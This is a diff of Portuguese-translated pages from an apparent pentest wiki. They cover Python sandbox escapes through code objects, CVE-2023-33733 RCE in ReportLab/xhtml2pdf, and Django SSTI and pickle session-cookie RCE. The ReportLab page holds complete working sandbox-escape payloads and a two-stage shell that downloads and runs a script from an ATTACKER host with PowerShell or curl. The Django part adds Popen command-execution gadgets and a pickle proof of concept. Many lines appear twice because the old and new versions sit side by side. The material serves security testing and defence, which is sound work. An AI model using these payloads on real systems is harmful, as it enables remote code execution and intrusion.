Em alguns CTFs, você pode receber o nome de uma **função personalizada onde a flag** reside e você precisa ver os **internos** da **função** para extraí-la.
Em alguns CTFs você pode receber o nome de uma **custom function where the flag** e precisa ver os **internals** da **function** para extraí-la.
Esta é a função a ser inspecionada:
```python
@ -798,7 +808,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` e `func_globals`(Mesma) Obtém o ambiente global. No exemplo, você pode ver alguns módulos importados, algumas variáveis globais e seu conteúdo declarado:
`__globals__` and `func_globals` (mesmos) obtêm o ambiente global. No exemplo você pode ver alguns módulos importados, algumas variáveis globais e seus conteúdos declarados:
```python
get_flag.func_globals
get_flag.__globals__
@ -807,7 +817,7 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Veja aqui mais lugares para obter globais**](#globals-and-locals)
[**See here more places to obtain globals**](#globals-and-locals)
### **Acessando o código da função**
@ -825,7 +835,7 @@ compile("print(5)", "", "single")
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```
### Obtendo Informações de Código
### Obtendo Informações do Código
```python
# Another example
s = '''
@ -871,7 +881,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **Desmontar uma função**
### **Desassemblar uma função**
```python
import dis
dis.dis(get_flag)
@ -899,7 +909,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Observe que **se você não puder importar `dis` no sandbox do python** você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode inferi-las a partir de (`get_flag.func_code.co_consts`), pois `LOAD_CONST` também informa o deslocamento da variável que está sendo carregada.
Observe que **se você não conseguir importar `dis` no python sandbox** você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **disassemble**-la localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode adivinhá-las a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também indica o offset da variável sendo carregada.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -921,10 +931,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Compilando Python
## Compiling Python
Agora, vamos imaginar que de alguma forma você pode **extrair as informações sobre uma função que não pode executar** mas você **precisa** **executá-la**.\
Como no exemplo a seguir, você **pode acessar o objeto de código** dessa função, mas apenas lendo o desmonte você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_)
Agora, imagine que de alguma forma você pode **dump as informações sobre uma função que você não pode executar**, mas você **precisa** **executá-la**.\
Como no exemplo a seguir, você **pode acessar o code object** dessa função, mas apenas lendo o disassemble você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_)
```python
def get_flag(some_input):
var1=1
@ -939,7 +949,7 @@ return "Nope"
```
### Criando o objeto de código
Primeiro de tudo, precisamos saber **como criar e executar um objeto de código** para que possamos criar um para executar nossa função leak:
Primeiro, precisamos saber **como criar e executar um objeto de código** para que possamos criar um para executar nossa função leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -959,7 +969,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor maneira de saber a ordem dos parâmetros na versão do python que você está executando é rodar:
> Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor forma de saber a ordem dos parâmetros na versão do python que você está executando é executar:
>
> ```
> import types
@ -967,10 +977,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### Recriando uma função vazada
### Recriando uma função leaked
> [!WARNING]
> No exemplo a seguir, vamos pegar todos os dados necessários para recriar a função diretamente do objeto de código da função. Em um **exemplo real**, todos os **valores** para executar a função **`code_type`** é o que **você precisará vazar**.
> No exemplo a seguir, vamos obter todos os dados necessários para recriar a função diretamente a partir do objeto de código da função. Em um **exemplo real**, todos os **valores** para executar a função **`code_type`** são o que **você precisará leak**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -983,8 +993,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
Em exemplos anteriores no início deste post, você pode ver **como executar qualquer código python usando a função `compile`**. Isso é interessante porque você pode **executar scripts inteiros** com loops e tudo em uma **linha única** (e poderíamos fazer o mesmo usando **`exec`**).\
De qualquer forma, às vezes pode ser útil **criar** um **objeto compilado** em uma máquina local e executá-lo na **máquina CTF** (por exemplo, porque não temos a função `compiled` no CTF).
Nos exemplos anteriores no início deste post, você pode ver **como executar qualquer código python usando a função `compile`**. Isso é interessante porque você pode **executar scripts inteiros** com loops e tudo mais em uma **one liner** (e poderíamos fazer o mesmo usando **`exec`**).\
De qualquer forma, às vezes pode ser útil **criar** um **compiled object** em uma máquina local e executá-lo na **CTF machine** (por exemplo porque não temos a `compiled` function no CTF).
Por exemplo, vamos compilar e executar manualmente uma função que lê _./poc.py_:
```python
@ -1013,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Se você não pode acessar `eval` ou `exec`, você pode criar uma **função adequada**, mas chamá-la diretamente geralmente falhará com: _construtor não acessível em modo restrito_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar essa função.**
Se você não conseguir acessar `eval` ou `exec`, pode criar uma **função adequada**, mas chamá-la diretamente geralmente vai falhar com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar essa função.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1021,9 +1031,9 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Decompilando Python Compilado
## Descompilando Python Compilado
Usando ferramentas como [**https://www.decompiler.com/**](https://www.decompiler.com) é possível **decompilar** um código python compilado.
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **descompilar** given compiled python code.
**Confira este tutorial**:
@ -1032,11 +1042,11 @@ Usando ferramentas como [**https://www.decompiler.com/**](https://www.decompiler
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
## Python Diverso
## Outros tópicos Python
### Assert
Python executado com otimizações com o parâmetro `-O` removerá declarações de assert e qualquer código condicional ao valor de **debug**.\
Python executado com otimizações usando o parâmetro `-O` removerá instruções `assert` e qualquer código condicionado ao valor de **debug**.\
Portanto, verificações como
```python
def check_permission(super_user):
@ -1046,7 +1056,7 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
será contornado
será bypassed
## Referências
@ -1056,5 +1066,8 @@ será contornado
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
- [0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,79 @@
# ReportLab/xhtml2pdf [[[...]]] avaliação de expressões RCE (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
Esta página documenta um escape prático de sandbox e um primitivo de RCE em rl_safe_eval do ReportLab usado por xhtml2pdf e outros pipelines de geração de PDF ao renderizar HTML controlado pelo usuário para PDFs.
CVE-2023-33733 afeta versões do ReportLab até e incluindo 3.6.12. Em certos contextos de atributos (por exemplo color), valores embrulhados em triple brackets [[[ ... ]]] são avaliados no servidor por rl_safe_eval. Ao criar um payload que pivota de um builtin permitido (pow) para seus __globals__ de função Python, um atacante pode alcançar o módulo os e executar comandos.
Pontos chave
- Trigger: injetar [[[ ... ]]] em atributos avaliados como <font color="..."> dentro de marcação processada por ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval substitui builtins perigosos, mas funções avaliadas ainda expõem __globals__.
- Bypass: criar uma classe transitória Word para burlar as checagens de nome do rl_safe_eval e acessar a string "__globals__" enquanto evita o filtro de dunders bloqueados.
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Estabilidade: Retornar um valor válido para o atributo após a execução (para color, usar and 'red').
Quando testar
- Aplicações que expõem exportação HTML-to-PDF (profiles, invoices, reports) e mostram xhtml2pdf/ReportLab nos metadados do PDF ou em comentários na resposta HTTP.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- A resposta HTTP para PDF frequentemente começa com um comentário do gerador ReportLab
Como o bypass da sandbox funciona
- rl_safe_eval remove ou substitui muitos builtins (getattr, type, pow, ...) e aplica filtragem de nomes para negar atributos que começam com __ ou que estejam em uma denylist.
- Entretanto, funções seguras vivem em um dicionário globals acessível como func.__globals__.
- Use type(type(1)) para recuperar a função builtin real type (contornando o wrapper do ReportLab), então defina uma classe Word derivada de str com comportamento de comparação mutado de modo que:
- .startswith('__') → sempre False (contorna a checagem name startswith('__'))
- .__eq__ retorna False apenas na primeira comparação (contorna checagens de membership na denylist) e True depois (assim getattr funciona)
- .__hash__ é igual a hash(str(self))
- Com isso, getattr(pow, Word('__globals__')) retorna o dict globals da função pow empacotada, que inclui um módulo os importado. Então: ['os'].system('<cmd>').
Padrão mínimo de exploração (exemplo em atributo)
Coloque o payload dentro de um atributo avaliado e assegure que ele retorne um valor válido para o atributo via boolean and 'red'.
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
- A forma por list-comprehension permite uma única expressão aceitável para rl_safe_eval.
- O trailing and 'red' retorna uma cor CSS válida para que a renderização não quebre.
- Substitua o comando conforme necessário; use ping para validar a execução com tcpdump.
Fluxo operacional
1) Identificar o gerador de PDF
- PDF Producer mostra xhtml2pdf; a resposta HTTP contém comentário do ReportLab.
2) Encontrar uma entrada refletida no PDF (por ex., profile bio/description) e acionar um export.
3) Verificar execução com ICMP de baixo ruído
- Rode: sudo tcpdump -ni <iface> icmp
- Payload: ... system('ping <your_ip>') ...
- Windows frequentemente envia exatamente quatro echo requests por padrão.
4) Estabelecer um shell
- Para Windows, uma abordagem de dois estágios confiável evita problemas de quoting/encoding:
- Stage 1 (download):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Stage 2 (execute):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Para alvos Linux, abordagem similar em dois estágios com curl/wget é possível:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Notas e dicas
- Contextos de atributo: color é um atributo conhecido por ser avaliado; outros atributos na marcação do ReportLab também podem avaliar expressões. Se uma localização for sanitizada, tente outras que sejam renderizadas no fluxo do PDF (campos diferentes, estilos de tabela, etc.).
- Quoting: Mantenha comandos compactos. Downloads em dois estágios reduzem drasticamente problemas com quoting e escaping.
- Confiabilidade: Se exports forem cacheados ou enfileirados, varie ligeiramente o payload (por ex., caminho ou query randômica) para evitar caches.
Mitigações e detecção
- Atualize o ReportLab para 3.6.13 ou superior (CVE-2023-33733 corrigido). Acompanhe também advisories de segurança em pacotes das distros.
- Não alimente HTML/markup controlado pelo usuário diretamente no xhtml2pdf/ReportLab sem sanitização rígida. Remova/negue constructs de avaliação [[[...]]] e tags específicas do vendor quando a entrada for não confiável.
- Considere desabilitar ou encapsular totalmente o uso de rl_safe_eval para inputs não confiáveis.
- Monitore por conexões outbound suspeitas durante a geração de PDFs (por ex., ICMP/HTTP a partir de servidores de aplicação ao exportar documentos).
References
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,49 +2,58 @@
{{#include ../../banners/hacktricks-training.md}}
## Manipulação de Cache para RCE
O método de armazenamento de cache padrão do Django é [Python pickles](https://docs.python.org/3/library/pickle.html), que pode levar a RCE se [entrada não confiável for descompactada](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se um atacante conseguir obter acesso de gravação ao cache, ele pode escalar essa vulnerabilidade para RCE no servidor subjacente**.
## Cache Manipulation to RCE
O método padrão de armazenamento em cache do Django é [Python pickles](https://docs.python.org/3/library/pickle.html), o que pode levar a RCE se [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se um atacante conseguir acesso de escrita ao cache, ele pode escalar essa vulnerabilidade para RCE no servidor subjacente**.
O cache do Django é armazenado em um dos quatro lugares: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memória](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [arquivos](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou um [banco de dados](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). O cache armazenado em um servidor Redis ou banco de dados são os vetores de ataque mais prováveis (injeção Redis e injeção SQL), mas um atacante também pode ser capaz de usar cache baseado em arquivo para transformar uma gravação arbitrária em RCE. Os mantenedores marcaram isso como um não problema. É importante notar que a pasta de arquivos de cache, o nome da tabela SQL e os detalhes do servidor Redis variarão com base na implementação.
O cache do Django é armazenado em um de quatro locais: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou um [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). O cache armazenado em um servidor Redis ou em um database é o vetor de ataque mais provável (Redis injection e SQL injection), mas um atacante também pode ser capaz de usar cache baseado em arquivos para transformar uma escrita arbitrária em RCE. Os mantenedores marcaram isso como não-problema. É importante notar que a pasta dos arquivos de cache, o nome da tabela SQL e os detalhes do servidor Redis variarão conforme a implementação.
Este relatório do HackerOne fornece um ótimo exemplo reproduzível de exploração do cache do Django armazenado em um banco de dados SQLite: https://hackerone.com/reports/1415436
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
---
## Injeção de Template do Lado do Servidor (SSTI)
A Linguagem de Template do Django (DTL) é **Turing-completa**. Se dados fornecidos pelo usuário forem renderizados como uma *string de template* (por exemplo, chamando `Template(user_input).render()` ou quando `|safe`/`format_html()` remove a auto-escapagem), um atacante pode alcançar SSTI total → RCE.
## Server-Side Template Injection (SSTI)
A Django Template Language (DTL) é **Turing-complete**. Se dados fornecidos pelo usuário forem renderizados como uma *template string* (por exemplo ao chamar `Template(user_input).render()` ou quando `|safe`/`format_html()` remove o auto-escaping), um atacante pode alcançar SSTI → RCE completo.
### Detecção
1. Procure por chamadas dinâmicas para `Template()` / `Engine.from_string()` / `render_to_string()` que incluam *qualquer* dado de solicitação não sanitizado.
2. Envie uma carga útil baseada em tempo ou aritmética:
1. Procure por chamadas dinâmicas para `Template()` / `Engine.from_string()` / `render_to_string()` que incluam *qualquer* dado de requisição não sanitizado.
2. Envie um payload baseado em tempo ou aritmético:
```django
{{7*7}}
```
Se a saída renderizada contiver `49`, a entrada é compilada pelo mecanismo de template.
Se a saída renderizada contiver `49`, o input é compilado pelo engine de templates.
### Primitiva para RCE
O Django bloqueia o acesso direto a `__import__`, mas o gráfico de objetos Python é acessível:
### Primitivo para RCE
O Django bloqueia acesso direto a `__import__`, mas o grafo de objetos do Python é alcançável:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
Encontre o índice de `subprocess.Popen` (≈400500 dependendo da versão do Python) e execute comandos arbitrários:
Encontre o índice de `subprocess.Popen` (≈400500 dependendo da build do Python) e execute comandos arbitrários:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
Um dispositivo universal mais seguro é iterar até `cls.__name__ == 'Popen'`.
Um gadget universal mais seguro é iterar até `cls.__name__ == 'Popen'`.
O mesmo dispositivo funciona para recursos de renderização de **Debug Toolbar** ou **Django-CMS** que manipulam mal a entrada do usuário.
O mesmo gadget funciona em recursos de renderização de templates do **Debug Toolbar** ou **Django-CMS** que lidam incorretamente com a entrada do usuário.
---
## RCE de Cookie de Sessão Baseado em Pickle
Se a configuração `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` estiver habilitada (ou um serializador personalizado que desserializa pickle), o Django *descriptografa e desempacota* o cookie de sessão **antes** de chamar qualquer código de visualização. Portanto, possuir uma chave de assinatura válida (a `SECRET_KEY` do projeto por padrão) é suficiente para execução remota imediata de código.
### Veja também: ReportLab/xhtml2pdf PDF export RCE
Aplicações construídas sobre Django frequentemente integram xhtml2pdf/ReportLab para exportar views como PDF. Quando HTML controlado pelo usuário flui para a geração de PDF, rl_safe_eval pode avaliar expressões dentro de colchetes triplos `[[[ ... ]]]`, permitindo execução de código (CVE-2023-33733). Detalhes, payloads e mitigações:
### Requisitos para Exploração
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
---
## RCE em Cookie de Sessão baseado em Pickle
Se a configuração `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` estiver ativada (ou um serializer customizado que desserializa pickle), Django *descriptografa e desserializa (unpickles)* o cookie de sessão **antes** de chamar qualquer código de view. Portanto, possuir uma chave de assinatura válida (o `SECRET_KEY` do projeto por padrão) é suficiente para execução remota de código imediata.
### Requisitos do Exploit
* O servidor usa `PickleSerializer`.
* O atacante conhece / pode adivinhar `settings.SECRET_KEY` (vazamentos via GitHub, `.env`, páginas de erro, etc.).
* O atacante conhece / pode adivinhar `settings.SECRET_KEY` (leaks via GitHub, `.env`, páginas de erro, etc.).
### Prova de Conceito
### Prova de conceito
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
@ -58,22 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
Envie o cookie resultante, e o payload é executado com as permissões do trabalhador WSGI.
Envie o cookie resultante, e o payload será executado com as permissões do worker WSGI.
**Mitigações**: Mantenha o `JSONSerializer` padrão, gire o `SECRET_KEY` e configure `SESSION_COOKIE_HTTPONLY`.
**Mitigações**: Mantenha o `JSONSerializer` padrão, rotacione o `SECRET_KEY` e configure `SESSION_COOKIE_HTTPONLY`.
---
## Recentes (2023-2025) CVEs de Alto Impacto do Django que os Pentesters Devem Verificar
* **CVE-2025-48432** *Injeção de Log via `request.path` não escapado* (corrigido em 4 de junho de 2025). Permite que atacantes insiram quebras de linha/códigos ANSI em arquivos de log e envenenem a análise de log a jusante. Nível de patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Injeção SQL crítica* em `QuerySet.values()/values_list()` no `JSONField` (CVSS 9.8). Crie chaves JSON para sair da citação e executar SQL arbitrário. Corrigido em 4.2.15 / 5.0.8.
## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
* **CVE-2025-48432** *Log Injection via unescaped `request.path`* (corrigido em 4 de junho de 2025). Permite que atacantes contrabandeiem quebras de linha/códigos ANSI em arquivos de log e envenenem a análise de logs a jusante. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Critical SQL injection* em `QuerySet.values()/values_list()` em `JSONField` (CVSS 9.8). Crie chaves JSON para sair da citação e executar SQL arbitrário. Corrigido em 4.2.15 / 5.0.8.
Sempre identifique a versão exata do framework via a página de erro `X-Frame-Options` ou o hash de `/static/admin/css/base.css` e teste o acima onde aplicável.
Sempre identifique a versão exata do framework via a página de erro `X-Frame-Options` ou o hash de `/static/admin/css/base.css` e teste o acima quando aplicável.
---
## Referências
* Lançamento de segurança do Django "Django 5.2.2, 5.1.10, 4.2.22 abordam CVE-2025-48432" 4 de junho de 2025.
* OP-Innovate: "Django lança atualizações de segurança para abordar falha de injeção SQL CVE-2024-42005" 11 de agosto de 2024.
## References
* Lançamento de segurança do Django "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" 4 Jun 2025.
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" 11 Aug 2024.
* 0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../banners/hacktricks-training.md}}